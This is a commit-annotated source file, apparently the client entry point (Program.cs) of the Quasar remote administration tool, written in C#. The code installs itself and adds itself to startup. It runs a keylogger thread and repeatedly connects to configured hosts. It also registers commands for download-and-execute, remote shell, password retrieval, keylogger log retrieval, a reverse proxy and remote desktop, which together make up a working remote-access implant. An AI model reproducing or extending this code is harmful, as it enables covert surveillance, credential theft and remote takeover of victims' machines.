Quasar/Client/Program.cs

241 lines
9.1 KiB
C#
Raw Normal View History

2015-01-13 18:29:11 +00:00
using System;
using System.Diagnostics;
2014-07-08 12:58:53 +00:00
using System.IO;
using System.Threading;
using System.Windows.Forms;
2015-01-13 18:29:11 +00:00
using xClient.Config;
using xClient.Core;
using xClient.Core.Commands;
using xClient.Core.Data;
using xClient.Core.Encryption;
2015-07-26 14:44:03 +00:00
using xClient.Core.Helper;
using xClient.Core.Networking;
2015-01-13 18:29:11 +00:00
using xClient.Core.Packets;
2015-07-26 17:36:11 +00:00
using xClient.Core.Utilities;
2014-07-08 12:58:53 +00:00
2015-01-13 18:29:11 +00:00
namespace xClient
2014-07-08 12:58:53 +00:00
{
internal static class Program
2014-07-08 12:58:53 +00:00
{
2015-01-15 09:10:52 +00:00
public static Client ConnectClient;
private static bool _reconnect = true;
private static volatile bool _connected = false;
private static Mutex _appMutex;
private static ApplicationContext _msgLoop;
2015-08-03 15:33:50 +00:00
private static HostsManager _hosts;
2014-07-08 12:58:53 +00:00
2015-01-13 18:29:11 +00:00
[STAThread]
private static void Main(string[] args)
2014-07-08 12:58:53 +00:00
{
2015-01-13 18:29:11 +00:00
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
2015-03-17 16:22:42 +00:00
2015-01-13 18:29:11 +00:00
Settings.Initialize();
Initialize();
if (!SystemCore.Disconnect)
Connect();
2014-07-08 12:58:53 +00:00
2015-03-17 16:22:42 +00:00
Cleanup();
}
private static void Cleanup()
{
2015-01-13 18:29:11 +00:00
CommandHandler.CloseShell();
if (CommandHandler.StreamCodec != null)
CommandHandler.StreamCodec.Dispose();
2015-07-26 17:36:11 +00:00
if (Keylogger.Instance != null)
Keylogger.Instance.Dispose();
2015-05-23 12:24:31 +00:00
if (_msgLoop != null)
_msgLoop.ExitThread();
2015-01-15 09:10:52 +00:00
if (_appMutex != null)
_appMutex.Close();
2014-07-08 12:58:53 +00:00
}
private static void InitializeClient()
{
2015-03-31 16:15:48 +00:00
ConnectClient = new Client();
ConnectClient.AddTypesToSerializer(new Type[]
{
2015-07-14 17:00:31 +00:00
typeof (Core.Packets.ServerPackets.GetAuthentication),
typeof (Core.Packets.ServerPackets.DoClientDisconnect),
typeof (Core.Packets.ServerPackets.DoClientReconnect),
typeof (Core.Packets.ServerPackets.DoClientUninstall),
typeof (Core.Packets.ServerPackets.DoDownloadAndExecute),
typeof (Core.Packets.ServerPackets.DoUploadAndExecute),
typeof (Core.Packets.ServerPackets.GetDesktop),
typeof (Core.Packets.ServerPackets.GetProcesses),
2015-07-14 17:00:31 +00:00
typeof (Core.Packets.ServerPackets.DoProcessKill),
typeof (Core.Packets.ServerPackets.DoProcessStart),
typeof (Core.Packets.ServerPackets.GetDrives),
typeof (Core.Packets.ServerPackets.GetDirectory),
typeof (Core.Packets.ServerPackets.DoDownloadFile),
typeof (Core.Packets.ServerPackets.DoMouseEvent),
2015-07-29 13:11:07 +00:00
typeof (Core.Packets.ServerPackets.DoKeyboardEvent),
typeof (Core.Packets.ServerPackets.GetSystemInfo),
2015-07-14 17:00:31 +00:00
typeof (Core.Packets.ServerPackets.DoVisitWebsite),
typeof (Core.Packets.ServerPackets.DoShowMessageBox),
typeof (Core.Packets.ServerPackets.DoClientUpdate),
typeof (Core.Packets.ServerPackets.GetMonitors),
typeof (Core.Packets.ServerPackets.DoShellExecute),
typeof (Core.Packets.ServerPackets.DoPathRename),
typeof (Core.Packets.ServerPackets.DoPathDelete),
typeof (Core.Packets.ServerPackets.DoShutdownAction),
typeof (Core.Packets.ServerPackets.GetStartupItems),
2015-07-14 17:00:31 +00:00
typeof (Core.Packets.ServerPackets.DoStartupItemAdd),
typeof (Core.Packets.ServerPackets.DoStartupItemRemove),
typeof (Core.Packets.ServerPackets.DoDownloadFileCancel),
typeof (Core.Packets.ServerPackets.GetKeyloggerLogs),
typeof (Core.Packets.ServerPackets.DoUploadFile),
typeof (Core.Packets.ServerPackets.GetPasswords),
2015-07-14 17:00:31 +00:00
typeof (Core.Packets.ClientPackets.GetAuthenticationResponse),
typeof (Core.Packets.ClientPackets.SetStatus),
typeof (Core.Packets.ClientPackets.SetStatusFileManager),
2015-07-14 17:00:31 +00:00
typeof (Core.Packets.ClientPackets.SetUserStatus),
typeof (Core.Packets.ClientPackets.GetDesktopResponse),
typeof (Core.Packets.ClientPackets.GetProcessesResponse),
2015-07-14 17:00:31 +00:00
typeof (Core.Packets.ClientPackets.GetDrivesResponse),
typeof (Core.Packets.ClientPackets.GetDirectoryResponse),
typeof (Core.Packets.ClientPackets.DoDownloadFileResponse),
typeof (Core.Packets.ClientPackets.GetSystemInfoResponse),
2015-07-14 17:00:31 +00:00
typeof (Core.Packets.ClientPackets.GetMonitorsResponse),
typeof (Core.Packets.ClientPackets.DoShellExecuteResponse),
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
2015-07-14 17:00:31 +00:00
typeof (Core.Packets.ClientPackets.GetKeyloggerLogsResponse),
2015-08-02 18:04:58 +00:00
typeof (Core.Packets.ClientPackets.GetPasswordsResponse),
2015-05-10 17:02:10 +00:00
typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
typeof (Core.ReverseProxy.Packets.ReverseProxyData),
typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
});
ConnectClient.ClientState += ClientState;
ConnectClient.ClientRead += ClientRead;
ConnectClient.ClientFail += ClientFail;
}
2015-01-13 18:29:11 +00:00
private static void Initialize()
2014-07-08 12:58:53 +00:00
{
2015-01-15 09:10:52 +00:00
Thread.Sleep(2000);
2014-07-08 12:58:53 +00:00
AES.PreHashKey(Settings.PASSWORD);
2015-08-03 15:33:50 +00:00
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
2015-01-13 18:29:11 +00:00
SystemCore.OperatingSystem = SystemCore.GetOperatingSystem();
SystemCore.MyPath = Application.ExecutablePath;
2015-04-25 16:49:52 +00:00
SystemCore.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
2015-01-13 18:29:11 +00:00
SystemCore.AccountType = SystemCore.GetAccountType();
2015-07-26 14:44:03 +00:00
GeoLocationHelper.Initialize();
2014-07-08 12:58:53 +00:00
2015-01-13 18:29:11 +00:00
if (!Settings.INSTALL || SystemCore.MyPath == SystemCore.InstallPath)
2014-07-08 12:58:53 +00:00
{
2015-01-15 09:10:52 +00:00
if (!SystemCore.CreateMutex(ref _appMutex))
2015-01-13 18:29:11 +00:00
SystemCore.Disconnect = true;
2014-07-08 12:58:53 +00:00
2015-01-13 18:29:11 +00:00
if (SystemCore.Disconnect)
return;
2014-07-08 12:58:53 +00:00
2015-01-13 18:29:11 +00:00
new Thread(SystemCore.UserIdleThread).Start();
2014-07-08 12:58:53 +00:00
2015-05-31 18:52:03 +00:00
if (Settings.STARTUP && Settings.INSTALL)
{
SystemCore.AddToStartup();
}
InitializeClient();
2015-05-01 12:50:38 +00:00
if (Settings.ENABLELOGGER)
{
new Thread(() =>
{
_msgLoop = new ApplicationContext();
2015-07-26 17:36:11 +00:00
Keylogger logger = new Keylogger(15000);
Application.Run(_msgLoop);
}).Start(); ;
2015-05-01 12:50:38 +00:00
}
2015-01-13 18:29:11 +00:00
}
else
{
2015-01-15 09:10:52 +00:00
if (!SystemCore.CreateMutex(ref _appMutex))
2015-01-13 18:29:11 +00:00
SystemCore.Disconnect = true;
2014-07-08 12:58:53 +00:00
2015-01-13 18:29:11 +00:00
if (SystemCore.Disconnect)
return;
2014-07-08 12:58:53 +00:00
2015-01-13 18:29:11 +00:00
SystemCore.Install();
}
}
2014-07-08 12:58:53 +00:00
2015-01-13 18:29:11 +00:00
private static void Connect()
2014-07-08 12:58:53 +00:00
{
2015-06-20 08:10:53 +00:00
while (_reconnect && !SystemCore.Disconnect)
{
if (!_connected)
{
Thread.Sleep(100 + new Random().Next(0, 250));
2014-07-08 12:58:53 +00:00
2015-08-03 15:33:50 +00:00
Host host = _hosts.GetNextHost();
ConnectClient.Connect(host.Hostname, host.Port);
2014-07-08 12:58:53 +00:00
2015-06-20 08:10:53 +00:00
Thread.Sleep(200);
2014-07-08 12:58:53 +00:00
2015-06-20 08:10:53 +00:00
Application.DoEvents();
}
2014-07-08 12:58:53 +00:00
2015-06-20 08:10:53 +00:00
while (_connected) // hold client open
{
Application.DoEvents();
Thread.Sleep(2500);
}
2014-07-08 12:58:53 +00:00
2015-06-20 08:10:53 +00:00
if (SystemCore.Disconnect)
{
ConnectClient.Disconnect();
return;
}
2014-07-08 12:58:53 +00:00
2015-06-20 08:10:53 +00:00
Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750));
2015-01-13 18:29:11 +00:00
}
2014-07-08 12:58:53 +00:00
}
2015-01-13 18:29:11 +00:00
2015-05-28 22:25:40 +00:00
public static void Disconnect(bool reconnect = false)
{
if (reconnect)
CommandHandler.CloseShell();
else
SystemCore.Disconnect = true;
ConnectClient.Disconnect();
}
private static void LostConnection()
{
CommandHandler.CloseShell();
}
2015-01-13 18:29:11 +00:00
private static void ClientState(Client client, bool connected)
{
2015-01-13 18:29:11 +00:00
if (connected && !SystemCore.Disconnect)
2015-01-15 09:10:52 +00:00
_reconnect = true;
2015-01-13 18:29:11 +00:00
else if (!connected && SystemCore.Disconnect)
2015-01-15 09:10:52 +00:00
_reconnect = false;
2015-01-13 18:29:11 +00:00
else
2015-01-15 09:10:52 +00:00
_reconnect = !SystemCore.Disconnect;
if (_connected != connected && !connected && _reconnect && !SystemCore.Disconnect)
LostConnection();
_connected = connected;
}
2015-01-13 18:29:11 +00:00
2015-01-15 09:10:52 +00:00
private static void ClientRead(Client client, IPacket packet)
{
2015-05-28 22:25:40 +00:00
PacketHandler.HandlePacket(client, packet);
}
private static void ClientFail(Client client, Exception ex)
{
Debug.WriteLine("Exception Message: " + ex.Message);
client.Disconnect();
}
2014-07-08 12:58:53 +00:00
}
2015-01-13 18:29:11 +00:00
}